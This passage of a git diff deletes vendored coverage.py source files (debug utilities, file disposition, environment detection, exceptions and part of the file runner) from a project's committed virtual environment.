os.path.exists(filename): - print("No data collected: file doesn't exist") - return - data.read() - print(f"has_arcs: {data.has_arcs()!r}") - summary = line_counts(data, fullpath=True) - filenames = human_sorted(summary.keys()) - nfiles = len(filenames) - print(f"{nfiles} file{plural(nfiles)}:") - for f in filenames: - line = f"{f}: {summary[f]} line{plural(summary[f])}" - plugin = data.file_tracer(f) - if plugin: - line += f" [{plugin}]" - print(line) - - -def sorted_lines(data: CoverageData, filename: str) -> list[int]: - """Get the sorted lines for a file, for tests.""" - lines = data.lines(filename) - return sorted(lines or []) diff --git a/backend/venv/Lib/site-packages/coverage/debug.py b/backend/venv/Lib/site-packages/coverage/debug.py deleted file mode 100644 index 73e842f9..00000000 --- a/backend/venv/Lib/site-packages/coverage/debug.py +++ /dev/null @@ -1,618 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""Control of and utilities for debugging.""" - -from __future__ import annotations - -import atexit -import contextlib -import functools -import inspect -import itertools -import os -import pprint -import re -import reprlib -import sys -import traceback -import types -import _thread - -from typing import ( - overload, - Any, Callable, Final, IO, -) -from collections.abc import Iterable, Iterator, Mapping - -from coverage.misc import human_sorted_items, isolate_module -from coverage.types import AnyCallable, TWritable - -os = isolate_module(os) - - -# When debugging, it can be helpful to force some options, especially when -# debugging the configuration mechanisms you usually use to control debugging! -# This is a list of forced debugging options. -FORCED_DEBUG: list[str] = [] -FORCED_DEBUG_FILE = None - - -class DebugControl: - """Control and output for debugging.""" - - show_repr_attr = False # For auto_repr - - def __init__( - self, - options: Iterable[str], - output: IO[str] | None, - file_name: str | None = None, - ) -> None: - """Configure the options and output file for debugging.""" - self.options = list(options) + FORCED_DEBUG - self.suppress_callers = False - - filters = [] - if self.should("process"): - filters.append(CwdTracker().filter) - filters.append(ProcessTracker().filter) - if self.should("pytest"): - filters.append(PytestTracker().filter) - if self.should("pid"): - filters.append(add_pid_and_tid) - - self.output = DebugOutputFile.get_one( - output, - file_name=file_name, - filters=filters, - ) - self.raw_output = self.output.outfile - - def __repr__(self) -> str: - return f"" - - def should(self, option: str) -> bool: - """Decide whether to output debug information in category `option`.""" - if option == "callers" and self.suppress_callers: - return False - return (option in self.options) - - @contextlib.contextmanager - def without_callers(self) -> Iterator[None]: - """A context manager to prevent call stacks from being logged.""" - old = self.suppress_callers - self.suppress_callers = True - try: - yield - finally: - self.suppress_callers = old - - def write(self, msg: str, *, exc: BaseException | None = None) -> None: - """Write a line of debug output. - - `msg` is the line to write. A newline will be appended. - - If `exc` is provided, a stack trace of the exception will be written - after the message. - - """ - self.output.write(msg + "\n") - if exc is not None: - self.output.write("".join(traceback.format_exception(None, exc, exc.__traceback__))) - if self.should("self"): - caller_self = inspect.stack()[1][0].f_locals.get("self") - if caller_self is not None: - self.output.write(f"self: {caller_self!r}\n") - if self.should("callers"): - dump_stack_frames(out=self.output, skip=1) - self.output.flush() - - -class NoDebugging(DebugControl): - """A replacement for DebugControl that will never try to do anything.""" - def __init__(self) -> None: - # pylint: disable=super-init-not-called - ... - - def should(self, option: str) -> bool: - """Should we write debug messages? Never.""" - return False - - @contextlib.contextmanager - def without_callers(self) -> Iterator[None]: - """A dummy context manager to satisfy the api.""" - yield - - def write(self, msg: str, *, exc: BaseException | None = None) -> None: - """This will never be called.""" - raise AssertionError("NoDebugging.write should never be called.") - - -def info_header(label: str) -> str: - """Make a nice header string.""" - return "--{:-<60s}".format(" "+label+" ") - - -def info_formatter(info: Iterable[tuple[str, Any]]) -> Iterator[str]: - """Produce a sequence of formatted lines from info. - - `info` is a sequence of pairs (label, data). The produced lines are - nicely formatted, ready to print. - - """ - info = list(info) - if not info: - return - label_len = 30 - assert all(len(l) < label_len for l, _ in info) - for label, data in info: - if data == []: - data = "-none-" - if isinstance(data, tuple) and len(repr(tuple(data))) < 30: - # Convert to tuple to scrub namedtuples. - yield "%*s: %r" % (label_len, label, tuple(data)) - elif isinstance(data, (list, set, tuple)): - prefix = "%*s:" % (label_len, label) - for e in data: - yield "%*s %s" % (label_len+1, prefix, e) - prefix = "" - else: - yield "%*s: %s" % (label_len, label, data) - - -def write_formatted_info( - write: Callable[[str], None], - header: str, - info: Iterable[tuple[str, Any]], -) -> None: - """Write a sequence of (label,data) pairs nicely. - - `write` is a function write(str) that accepts each line of output. - `header` is a string to start the section. `info` is a sequence of - (label, data) pairs, where label is a str, and data can be a single - value, or a list/set/tuple. - - """ - write(info_header(header)) - for line in info_formatter(info): - write(f" {line}") - - -def exc_one_line(exc: Exception) -> str: - """Get a one-line summary of an exception, including class name and message.""" - lines = traceback.format_exception_only(type(exc), exc) - return "|".join(l.rstrip() for l in lines) - - -_FILENAME_REGEXES: list[tuple[str, str]] = [ - (r".*[/\\]pytest-of-.*[/\\]pytest-\d+([/\\]popen-gw\d+)?", "tmp:"), -] -_FILENAME_SUBS: list[tuple[str, str]] = [] - -@overload -def short_filename(filename: str) -> str: - pass - -@overload -def short_filename(filename: None) -> None: - pass - -def short_filename(filename: str | None) -> str | None: - """Shorten a file name. Directories are replaced by prefixes like 'syspath:'""" - if not _FILENAME_SUBS: - for pathdir in sys.path: - _FILENAME_SUBS.append((pathdir, "syspath:")) - import coverage - _FILENAME_SUBS.append((os.path.dirname(coverage.__file__), "cov:")) - _FILENAME_SUBS.sort(key=(lambda pair: len(pair[0])), reverse=True) - if filename is not None: - for pat, sub in _FILENAME_REGEXES: - filename = re.sub(pat, sub, filename) - for before, after in _FILENAME_SUBS: - filename = filename.replace(before, after) - return filename - - -def short_stack( - skip: int = 0, - full: bool = False, - frame_ids: bool = False, - short_filenames: bool = False, -) -> str: - """Return a string summarizing the call stack. - - The string is multi-line, with one line per stack frame. Each line shows - the function name, the file name, and the line number: - - ... - start_import_stop : /Users/ned/coverage/trunk/tests/coveragetest.py:95 - import_local_file : /Users/ned/coverage/trunk/tests/coveragetest.py:81 - import_local_file : /Users/ned/coverage/trunk/coverage/backward.py:159 - ... - - `skip` is the number of closest immediate frames to skip, so that debugging - functions can call this and not be included in the result. - - If `full` is true, then include all frames. Otherwise, initial "boring" - frames (ones in site-packages and earlier) are omitted. - - `short_filenames` will shorten filenames using `short_filename`, to reduce - the amount of repetitive noise in stack traces. - - """ - # Regexes in initial frames that we don't care about. - BORING_PRELUDE = [ - "", # pytest-xdist has string execution. - r"\bigor.py$", # Our test runner. - r"\bsite-packages\b", # pytest etc getting to our tests. - ] - - stack: Iterable[inspect.FrameInfo] = inspect.stack()[:skip:-1] - if not full: - for pat in BORING_PRELUDE: - stack = itertools.dropwhile( - (lambda fi, pat=pat: re.search(pat, fi.filename)), # type: ignore[misc] - stack, - ) - lines = [] - for frame_info in stack: - line = f"{frame_info.function:>30s} : " - if frame_ids: - line += f"{id(frame_info.frame):#x} " - filename = frame_info.filename - if short_filenames: - filename = short_filename(filename) - line += f"{filename}:{frame_info.lineno}" - lines.append(line) - return "\n".join(lines) - - -def dump_stack_frames(out: TWritable, skip: int = 0) -> None: - """Print a summary of the stack to `out`.""" - out.write(short_stack(skip=skip+1) + "\n") - - -def clipped_repr(text: str, numchars: int = 50) -> str: - """`repr(text)`, but limited to `numchars`.""" - r = reprlib.Repr() - r.maxstring = numchars - return r.repr(text) - - -def short_id(id64: int) -> int: - """Given a 64-bit id, make a shorter 16-bit one.""" - id16 = 0 - for offset in range(0, 64, 16): - id16 ^= id64 >> offset - return id16 & 0xFFFF - - -def add_pid_and_tid(text: str) -> str: - """A filter to add pid and tid to debug messages.""" - # Thread ids are useful, but too long. Make a shorter one. - tid = f"{short_id(_thread.get_ident()):04x}" - text = f"{os.getpid():5d}.{tid}: {text}" - return text - - -AUTO_REPR_IGNORE = {"$coverage.object_id"} - -def auto_repr(self: Any) -> str: - """A function implementing an automatic __repr__ for debugging.""" - show_attrs = ( - (k, v) for k, v in self.__dict__.items() - if getattr(v, "show_repr_attr", True) - and not inspect.ismethod(v) - and k not in AUTO_REPR_IGNORE - ) - return "<{klass} @{id:#x}{attrs}>".format( - klass=self.__class__.__name__, - id=id(self), - attrs="".join(f" {k}={v!r}" for k, v in show_attrs), - ) - - -def simplify(v: Any) -> Any: # pragma: debugging - """Turn things which are nearly dict/list/etc into dict/list/etc.""" - if isinstance(v, dict): - return {k:simplify(vv) for k, vv in v.items()} - elif isinstance(v, (list, tuple)): - return type(v)(simplify(vv) for vv in v) - elif hasattr(v, "__dict__"): - return simplify({"."+k: v for k, v in v.__dict__.items()}) - else: - return v - - -def pp(v: Any) -> None: # pragma: debugging - """Debug helper to pretty-print data, including SimpleNamespace objects.""" - # Might not be needed in 3.9+ - pprint.pprint(simplify(v)) - - -def filter_text(text: str, filters: Iterable[Callable[[str], str]]) -> str: - """Run `text` through a series of filters. - - `filters` is a list of functions. Each takes a string and returns a - string. Each is run in turn. After each filter, the text is split into - lines, and each line is passed through the next filter. - - Returns: the final string that results after all of the filters have - run. - - """ - clean_text = text.rstrip() - ending = text[len(clean_text):] - text = clean_text - for filter_fn in filters: - lines = [] - for line in text.splitlines(): - lines.extend(filter_fn(line).splitlines()) - text = "\n".join(lines) - return text + ending - - -class CwdTracker: - """A class to add cwd info to debug messages.""" - def __init__(self) -> None: - self.cwd: str | None = None - - def filter(self, text: str) -> str: - """Add a cwd message for each new cwd.""" - cwd = os.getcwd() - if cwd != self.cwd: - text = f"cwd is now {cwd!r}\n{text}" - self.cwd = cwd - return text - - -class ProcessTracker: - """Track process creation for debug logging.""" - def __init__(self) -> None: - self.pid: int = os.getpid() - self.did_welcome = False - - def filter(self, text: str) -> str: - """Add a message about how new processes came to be.""" - welcome = "" - pid = os.getpid() - if self.pid != pid: - welcome = f"New process: forked {self.pid} -> {pid}\n" - self.pid = pid - elif not self.did_welcome: - argv = getattr(sys, "argv", None) - welcome = ( - f"New process: {pid=}, executable: {sys.executable!r}\n" - + f"New process: cmd: {argv!r}\n" - + f"New process parent pid: {os.getppid()!r}\n" - ) - - if welcome: - self.did_welcome = True - return welcome + text - else: - return text - - -class PytestTracker: - """Track the current pytest test name to add to debug messages.""" - def __init__(self) -> None: - self.test_name: str | None = None - - def filter(self, text: str) -> str: - """Add a message when the pytest test changes.""" - test_name = os.getenv("PYTEST_CURRENT_TEST") - if test_name != self.test_name: - text = f"Pytest context: {test_name}\n{text}" - self.test_name = test_name - return text - - -class DebugOutputFile: - """A file-like object that includes pid and cwd information.""" - def __init__( - self, - outfile: IO[str] | None, - filters: Iterable[Callable[[str], str]], - ): - self.outfile = outfile - self.filters = list(filters) - self.pid = os.getpid() - - @classmethod - def get_one( - cls, - fileobj: IO[str] | None = None, - file_name: str | None = None, - filters: Iterable[Callable[[str], str]] = (), - interim: bool = False, - ) -> DebugOutputFile: - """Get a DebugOutputFile. - - If `fileobj` is provided, then a new DebugOutputFile is made with it. - - If `fileobj` isn't provided, then a file is chosen (`file_name` if - provided, or COVERAGE_DEBUG_FILE, or stderr), and a process-wide - singleton DebugOutputFile is made. - - `filters` are the text filters to apply to the stream to annotate with - pids, etc. - - If `interim` is true, then a future `get_one` can replace this one. - - """ - if fileobj is not None: - # Make DebugOutputFile around the fileobj passed. - return cls(fileobj, filters) - - the_one, is_interim = cls._get_singleton_data() - if the_one is None or is_interim: - if file_name is not None: - fileobj = open(file_name, "a", encoding="utf-8") - else: - # $set_env.py: COVERAGE_DEBUG_FILE - Where to write debug output - file_name = os.getenv("COVERAGE_DEBUG_FILE", FORCED_DEBUG_FILE) - if file_name in ("stdout", "stderr"): - fileobj = getattr(sys, file_name) - elif file_name: - fileobj = open(file_name, "a", encoding="utf-8") - atexit.register(fileobj.close) - else: - fileobj = sys.stderr - the_one = cls(fileobj, filters) - cls._set_singleton_data(the_one, interim) - - if not(the_one.filters): - the_one.filters = list(filters) - return the_one - - # Because of the way igor.py deletes and re-imports modules, - # this class can be defined more than once. But we really want - # a process-wide singleton. So stash it in sys.modules instead of - # on a class attribute. Yes, this is aggressively gross. - - SYS_MOD_NAME: Final[str] = "$coverage.debug.DebugOutputFile.the_one" - SINGLETON_ATTR: Final[str] = "the_one_and_is_interim" - - @classmethod - def _set_singleton_data(cls, the_one: DebugOutputFile, interim: bool) -> None: - """Set the one DebugOutputFile to rule them all.""" - singleton_module = types.ModuleType(cls.SYS_MOD_NAME) - setattr(singleton_module, cls.SINGLETON_ATTR, (the_one, interim)) - sys.modules[cls.SYS_MOD_NAME] = singleton_module - - @classmethod - def _get_singleton_data(cls) -> tuple[DebugOutputFile | None, bool]: - """Get the one DebugOutputFile.""" - singleton_module = sys.modules.get(cls.SYS_MOD_NAME) - return getattr(singleton_module, cls.SINGLETON_ATTR, (None, True)) - - @classmethod - def _del_singleton_data(cls) -> None: - """Delete the one DebugOutputFile, just for tests to use.""" - if cls.SYS_MOD_NAME in sys.modules: - del sys.modules[cls.SYS_MOD_NAME] - - def write(self, text: str) -> None: - """Just like file.write, but filter through all our filters.""" - assert self.outfile is not None - self.outfile.write(filter_text(text, self.filters)) - self.outfile.flush() - - def flush(self) -> None: - """Flush our file.""" - assert self.outfile is not None - self.outfile.flush() - - -def log(msg: str, stack: bool = False) -> None: # pragma: debugging - """Write a log message as forcefully as possible.""" - out = DebugOutputFile.get_one(interim=True) - out.write(msg+"\n") - if stack: - dump_stack_frames(out=out, skip=1) - - -def decorate_methods( - decorator: Callable[..., Any], - butnot: Iterable[str] = (), - private: bool = False, -) -> Callable[..., Any]: # pragma: debugging - """A class decorator to apply a decorator to methods.""" - def _decorator(cls): # type: ignore[no-untyped-def] - for name, meth in inspect.getmembers(cls, inspect.isroutine): - if name not in cls.__dict__: - continue - if name != "__init__": - if not private and name.startswith("_"): - continue - if name in butnot: - continue - setattr(cls, name, decorator(meth)) - return cls - return _decorator - - -def break_in_pudb(func: AnyCallable) -> AnyCallable: # pragma: debugging - """A function decorator to stop in the debugger for each call.""" - @functools.wraps(func) - def _wrapper(*args: Any, **kwargs: Any) -> Any: - import pudb - sys.stdout = sys.__stdout__ - pudb.set_trace() - return func(*args, **kwargs) - return _wrapper - - -OBJ_IDS = itertools.count() -CALLS = itertools.count() -OBJ_ID_ATTR = "$coverage.object_id" - -def show_calls( - show_args: bool = True, - show_stack: bool = False, - show_return: bool = False, -) -> Callable[..., Any]: # pragma: debugging - """A method decorator to debug-log each call to the function.""" - def _decorator(func: AnyCallable) -> AnyCallable: - @functools.wraps(func) - def _wrapper(self: Any, *args: Any, **kwargs: Any) -> Any: - oid = getattr(self, OBJ_ID_ATTR, None) - if oid is None: - oid = f"{os.getpid():08d} {next(OBJ_IDS):04d}" - setattr(self, OBJ_ID_ATTR, oid) - extra = "" - if show_args: - eargs = ", ".join(map(repr, args)) - ekwargs = ", ".join("{}={!r}".format(*item) for item in kwargs.items()) - extra += "(" - extra += eargs - if eargs and ekwargs: - extra += ", " - extra += ekwargs - extra += ")" - if show_stack: - extra += " @ " - extra += "; ".join(short_stack(short_filenames=True).splitlines()) - callid = next(CALLS) - msg = f"{oid} {callid:04d} {func.__name__}{extra}\n" - DebugOutputFile.get_one(interim=True).write(msg) - ret = func(self, *args, **kwargs) - if show_return: - msg = f"{oid} {callid:04d} {func.__name__} return {ret!r}\n" - DebugOutputFile.get_one(interim=True).write(msg) - return ret - return _wrapper - return _decorator - - -def relevant_environment_display(env: Mapping[str, str]) -> list[tuple[str, str]]: - """Filter environment variables for a debug display. - - Select variables to display (with COV or PY in the name, or HOME, TEMP, or - TMP), and also cloak sensitive values with asterisks. - - Arguments: - env: a dict of environment variable names and values. - - Returns: - A list of pairs (name, value) to show. - - """ - slugs = {"COV", "PY"} - include = {"HOME", "TEMP", "TMP"} - cloak = {"API", "TOKEN", "KEY", "SECRET", "PASS", "SIGNATURE"} - - to_show = [] - for name, val in env.items(): - keep = False - if name in include: - keep = True - elif any(slug in name for slug in slugs): - keep = True - if keep: - if any(slug in name for slug in cloak): - val = re.sub(r"\w", "*", val) - to_show.append((name, val)) - return human_sorted_items(to_show) diff --git a/backend/venv/Lib/site-packages/coverage/disposition.py b/backend/venv/Lib/site-packages/coverage/disposition.py deleted file mode 100644 index 7aa15e97..00000000 --- a/backend/venv/Lib/site-packages/coverage/disposition.py +++ /dev/null @@ -1,58 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""Simple value objects for tracking what to do with files.""" - -from __future__ import annotations - -from typing import TYPE_CHECKING - -from coverage.types import TFileDisposition - -if TYPE_CHECKING: - from coverage.plugin import FileTracer - - -class FileDisposition: - """A simple value type for recording what to do with a file.""" - - original_filename: str - canonical_filename: str - source_filename: str | None - trace: bool - reason: str - file_tracer: FileTracer | None - has_dynamic_filename: bool - - def __repr__(self) -> str: - return f"" - - -# FileDisposition "methods": FileDisposition is a pure value object, so it can -# be implemented in either C or Python. Acting on them is done with these -# functions. - -def disposition_init(cls: type[TFileDisposition], original_filename: str) -> TFileDisposition: - """Construct and initialize a new FileDisposition object.""" - disp = cls() - disp.original_filename = original_filename - disp.canonical_filename = original_filename - disp.source_filename = None - disp.trace = False - disp.reason = "" - disp.file_tracer = None - disp.has_dynamic_filename = False - return disp - - -def disposition_debug_msg(disp: TFileDisposition) -> str: - """Make a nice debug message of what the FileDisposition is doing.""" - if disp.trace: - msg = f"Tracing {disp.original_filename!r}" - if disp.original_filename != disp.source_filename: - msg += f" as {disp.source_filename!r}" - if disp.file_tracer: - msg += f": will be traced by {disp.file_tracer!r}" - else: - msg = f"Not tracing {disp.original_filename!r}: {disp.reason}" - return msg diff --git a/backend/venv/Lib/site-packages/coverage/env.py b/backend/venv/Lib/site-packages/coverage/env.py deleted file mode 100644 index ebefb1d7..00000000 --- a/backend/venv/Lib/site-packages/coverage/env.py +++ /dev/null @@ -1,198 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""Determine facts about the environment.""" - -from __future__ import annotations - -import os -import platform -import sys - -from typing import Any, Final -from collections.abc import Iterable - -# debug_info() at the bottom wants to show all the globals, but not imports. -# Grab the global names here to know which names to not show. Nothing defined -# above this line will be in the output. -_UNINTERESTING_GLOBALS = list(globals()) -# These names also shouldn't be shown. -_UNINTERESTING_GLOBALS += ["PYBEHAVIOR", "debug_info"] - -# Operating systems. -WINDOWS = sys.platform == "win32" -LINUX = sys.platform.startswith("linux") -MACOS = sys.platform == "darwin" - -# Python implementations. -CPYTHON = (platform.python_implementation() == "CPython") -PYPY = (platform.python_implementation() == "PyPy") - -# Python versions. We amend version_info with one more value, a zero if an -# official version, or 1 if built from source beyond an official version. -# Only use sys.version_info directly where tools like mypy need it to understand -# version-specfic code, otherwise use PYVERSION. -PYVERSION = sys.version_info + (int(platform.python_version()[-1] == "+"),) - -if PYPY: - # Minimum now is 7.3.16 - PYPYVERSION = sys.pypy_version_info # type: ignore[attr-defined] -else: - PYPYVERSION = (0,) - -# Do we have a GIL? -GIL = getattr(sys, '_is_gil_enabled', lambda: True)() - -# Do we ship compiled coveragepy wheels for this version? -SHIPPING_WHEELS = CPYTHON and PYVERSION[:2] <= (3, 13) - -# Should we default to sys.monitoring? -SYSMON_DEFAULT = CPYTHON and PYVERSION >= (3, 14) - -# Python behavior. -class PYBEHAVIOR: - """Flags indicating this Python's behavior.""" - - # Does Python conform to PEP626, Precise line numbers for debugging and other tools. - # https://www.python.org/dev/peps/pep-0626 - pep626 = (PYVERSION > (3, 10, 0, "alpha", 4)) - - # Is "if __debug__" optimized away? - optimize_if_debug = not pep626 - - # Is "if not __debug__" optimized away? The exact details have changed - # across versions. - optimize_if_not_debug = 1 if pep626 else 2 - - # 3.7 changed how functions with only docstrings are numbered. - docstring_only_function = (not PYPY) and (PYVERSION <= (3, 10)) - - # Lines after break/continue/return/raise are no longer compiled into the - # bytecode. They used to be marked as missing, now they aren't executable. - omit_after_jump = pep626 or PYPY - - # PyPy has always omitted statements after return. - omit_after_return = omit_after_jump or PYPY - - # Optimize away unreachable try-else clauses. - optimize_unreachable_try_else = pep626 - - # Modules used to have firstlineno equal to the line number of the first - # real line of code. Now they always start at 1. - module_firstline_1 = pep626 - - # Are "if 0:" lines (and similar) kept in the compiled code? - keep_constant_test = pep626 - - # When leaving a with-block, do we visit the with-line again for the exit? - # For example, wwith.py: - # - # with open("/tmp/test", "w") as f1: - # a = 2 - # with open("/tmp/test2", "w") as f3: - # print(4) - # - # % python3.9 -m trace -t wwith.py | grep wwith - # --- modulename: wwith, funcname: - # wwith.py(1): with open("/tmp/test", "w") as f1: - # wwith.py(2): a = 2 - # wwith.py(3): with open("/tmp/test2", "w") as f3: - # wwith.py(4): print(4) - # - # % python3.10 -m trace -t wwith.py | grep wwith - # --- modulename: wwith, funcname: - # wwith.py(1): with open("/tmp/test", "w") as f1: - # wwith.py(2): a = 2 - # wwith.py(3): with open("/tmp/test2", "w") as f3: - # wwith.py(4): print(4) - # wwith.py(3): with open("/tmp/test2", "w") as f3: - # wwith.py(1): with open("/tmp/test", "w") as f1: - # - exit_through_with = (PYVERSION >= (3, 10, 0, "beta")) - - # When leaving a with-block, do we visit the with-line exactly, - # or the context managers in inner-out order? - # - # mwith.py: - # with ( - # open("/tmp/one", "w") as f2, - # open("/tmp/two", "w") as f3, - # open("/tmp/three", "w") as f4, - # ): - # print("hello 6") - # - # % python3.11 -m trace -t mwith.py | grep mwith - # --- modulename: mwith, funcname: - # mwith.py(2): open("/tmp/one", "w") as f2, - # mwith.py(1): with ( - # mwith.py(2): open("/tmp/one", "w") as f2, - # mwith.py(3): open("/tmp/two", "w") as f3, - # mwith.py(1): with ( - # mwith.py(3): open("/tmp/two", "w") as f3, - # mwith.py(4): open("/tmp/three", "w") as f4, - # mwith.py(1): with ( - # mwith.py(4): open("/tmp/three", "w") as f4, - # mwith.py(6): print("hello 6") - # mwith.py(1): with ( - # - # % python3.12 -m trace -t mwith.py | grep mwith - # --- modulename: mwith, funcname: - # mwith.py(2): open("/tmp/one", "w") as f2, - # mwith.py(3): open("/tmp/two", "w") as f3, - # mwith.py(4): open("/tmp/three", "w") as f4, - # mwith.py(6): print("hello 6") - # mwith.py(4): open("/tmp/three", "w") as f4, - # mwith.py(3): open("/tmp/two", "w") as f3, - # mwith.py(2): open("/tmp/one", "w") as f2, - - exit_with_through_ctxmgr = (PYVERSION >= (3, 12, 6)) - - # Match-case construct. - match_case = (PYVERSION >= (3, 10)) - - # Some words are keywords in some places, identifiers in other places. - soft_keywords = (PYVERSION >= (3, 10)) - - # f-strings are parsed as code, pep 701 - fstring_syntax = (PYVERSION >= (3, 12)) - - # PEP669 Low Impact Monitoring: https://peps.python.org/pep-0669/ - pep669: Final[bool] = bool(getattr(sys, "monitoring", None)) - - # Where does frame.f_lasti point when yielding from a generator? - # It used to point at the YIELD, in 3.13 it points at the RESUME, - # then it went back to the YIELD. - # https://github.com/python/cpython/issues/113728 - lasti_is_yield = (PYVERSION[:2] != (3, 13)) - - # PEP649 and PEP749: Deferred annotations - deferred_annotations = (PYVERSION >= (3, 14)) - - # Does sys.monitoring support BRANCH_RIGHT and BRANCH_LEFT? The names - # were added in early 3.14 alphas, but didn't work entirely correctly until - # after 3.14.0a5. - branch_right_left = (pep669 and (PYVERSION > (3, 14, 0, "alpha", 5, 0))) - - -# Coverage.py specifics, about testing scenarios. See tests/testenv.py also. - -# Are we coverage-measuring ourselves? -METACOV = os.getenv("COVERAGE_COVERAGE") is not None - -# Are we running our test suite? -# Even when running tests, you can use COVERAGE_TESTING=0 to disable the -# test-specific behavior like AST checking. -TESTING = os.getenv("COVERAGE_TESTING") == "True" - - -def debug_info() -> Iterable[tuple[str, Any]]: - """Return a list of (name, value) pairs for printing debug information.""" - info = [ - (name, value) for name, value in globals().items() - if not name.startswith("_") and name not in _UNINTERESTING_GLOBALS - ] - info += [ - (name, value) for name, value in PYBEHAVIOR.__dict__.items() - if not name.startswith("_") - ] - return sorted(info) diff --git a/backend/venv/Lib/site-packages/coverage/exceptions.py b/backend/venv/Lib/site-packages/coverage/exceptions.py deleted file mode 100644 index ecd1b5e6..00000000 --- a/backend/venv/Lib/site-packages/coverage/exceptions.py +++ /dev/null @@ -1,63 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""Exceptions coverage.py can raise.""" - -from __future__ import annotations - -class _BaseCoverageException(Exception): - """The base-base of all Coverage exceptions.""" - pass - - -class CoverageException(_BaseCoverageException): - """The base class of all exceptions raised by Coverage.py.""" - pass - - -class ConfigError(_BaseCoverageException): - """A problem with a config file, or a value in one.""" - pass - - -class DataError(CoverageException): - """An error in using a data file.""" - pass - -class NoDataError(CoverageException): - """We didn't have data to work with.""" - pass - - -class NoSource(CoverageException): - """We couldn't find the source for a module.""" - pass - - -class NoCode(NoSource): - """We couldn't find any code at all.""" - pass - - -class NotPython(CoverageException): - """A source file turned out not to be parsable Python.""" - pass - - -class PluginError(CoverageException): - """A plugin misbehaved.""" - pass - - -class _ExceptionDuringRun(CoverageException): - """An exception happened while running customer code. - - Construct it with three arguments, the values from `sys.exc_info`. - - """ - pass - - -class CoverageWarning(Warning): - """A warning from Coverage.py.""" - pass diff --git a/backend/venv/Lib/site-packages/coverage/execfile.py b/backend/venv/Lib/site-packages/coverage/execfile.py deleted file mode 100644 index 23928c02..00000000 --- a/backend/venv/Lib/site-packages/coverage/execfile.py +++ /dev/null @@ -1,327 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""Execute files of Python code.""" - -from __future__ import annotations - -import importlib.machinery -import importlib.util -import inspect -import marshal -import os -import struct -import sys - -from importlib.machinery import ModuleSpec -from types import CodeType, ModuleType -from typing import Any - -from coverage.exceptions import CoverageException, _ExceptionDuringRun, NoCode, NoSource -from coverage.files import canonical_filename, python_reported_file -from coverage.misc import isolate_module -from coverage.python import get_python_source - -os = isolate_module(os) - - -PYC_MAGIC_NUMBER = importlib.util.MAGIC_NUMBER - -class DummyLoader: - """A shim for the pep302 __loader__, emulating pkgutil.ImpLoader. - - Currently only implements the .fullname attribute - """ - def __init__(self, fullname: str, *_args: Any) -> None: - self.fullname = fullname - - -def find_module( - modulename: str, -) -> tuple[str | None, str, ModuleSpec]: - """Find the module named `modulename`. - - Returns the file path of the module, the name of the enclosing - package, and the spec. - """ - try: - spec = importlib.util.find_spec(modulename) - except ImportError as err: - raise NoSource(str(err)) from err - if not spec: - raise NoSource(f"No module named {modulename!r}") - pathname = spec.origin - packagename = spec.name - if spec.submodule_search_locations: - mod_main = modulename + ".__main__" - spec = importlib.util.find_spec(mod_main) - if not spec: - raise NoSource( - f"No module named {mod_main}; " + - f"{modulename!r} is a package and cannot be directly executed", - ) - pathname = spec.origin - packagename = spec.name - packagename = packagename.rpartition(".")[0] - return pathname, packagename, spec - - -class PyRunner: - """Multi-stage execution of Python code. - - This is meant to emulate real Python execution as closely as possible. - - """ - def __init__(self, args: list[str], as_module: bool = False) -> None: - self.args = args - self.as_module = as_module - - self.arg0 = args[0] - self.package: str | None = None - self.modulename: str | None = None - self.pathname: str | None = None - self.loader: DummyLoader | None = None - self.spec: ModuleSpec | None = None - - def prepare(self) -> None: - """Set sys.path properly. - - This needs to happen before any importing, and without importing anything. - """ - path0: str | None - if getattr(sys.flags, "safe_path", False): - # See https://docs.python.org/3/using/cmdline.html#cmdoption-P - path0 = None - elif self.as_module: - path0 = os.getcwd() - elif os.path.isdir(self.arg0): - # Running a directory means running the __main__.py file in that - # directory. - path0 = self.arg0 - else: - path0 = os.path.abspath(os.path.dirname(self.arg0)) - - if os.path.isdir(sys.path[0]): - # sys.path fakery. If we are being run as a command, then sys.path[0] - # is the directory of the "coverage" script. If this is so, replace - # sys.path[0] with the directory of the file we're running, or the - # current directory when running modules. If it isn't so, then we - # don't know what's going on, and just leave it alone. - top_file = inspect.stack()[-1][0].f_code.co_filename - sys_path_0_abs = os.path.abspath(sys.path[0]) - top_file_dir_abs = os.path.abspath(os.path.dirname(top_file)) - sys_path_0_abs = canonical_filename(sys_path_0_abs) - top_file_dir_abs = canonical_filename(top_file_dir_abs) - if sys_path_0_abs != top_file_dir_abs: - path0 = None - - else: - # sys.path[0] is a file. Is the next entry the directory containing - # that file? - if sys.path[1] == os.path.dirname(sys.path[0]): - # Can it be right to always remove that? - del sys.path[1] - - if path0 is not None: - sys.path[0] = python_reported_file(path0) - - def _prepare2(self) -> None: - """Do more preparation to run Python code. - - Includes finding the module to run and adjusting sys.argv[0]. - This method is allowed to import code. - - """ - if self.as_module: - self.modulename = self.arg0 - pathname, self.package, self.spec = find_module(self.modulename) - if self.spec is not None: - self.modulename = self.spec.name - self.loader = DummyLoader(self.modulename) - assert pathname is not None - self.pathname = os.path.abspath(pathname) - self.args[0] = self.arg0 = self.pathname - elif os.path.isdir(self.arg0): - # Running a directory means running the __main__.py file in that - # directory. - for ext in [".py", ".pyc", ".pyo"]: - try_filename = os.path.join(self.arg0, f"__main__{ext}") - # 3.8.10 changed how files are reported when running a - # directory. - try_filename = os.path.abspath(try_filename) - if os.path.exists(try_filename): - self.arg0 = try_filename - break - else: - raise NoSource(f"Can't find '__main__' module in '{self.arg0}'") - - # Make a spec. I don't know if this is the right way to do it. - try_filename = python_reported_file(try_filename) - self.spec = importlib.machinery.ModuleSpec("__main__", None, origin=try_filename) - self.spec.has_location = True - self.package = "" - self.loader = DummyLoader("__main__") - else: - self.loader = DummyLoader("__main__") - - self.arg0 = python_reported_file(self.arg0) - - def run(self) -> None: - """Run the Python code!""" - - 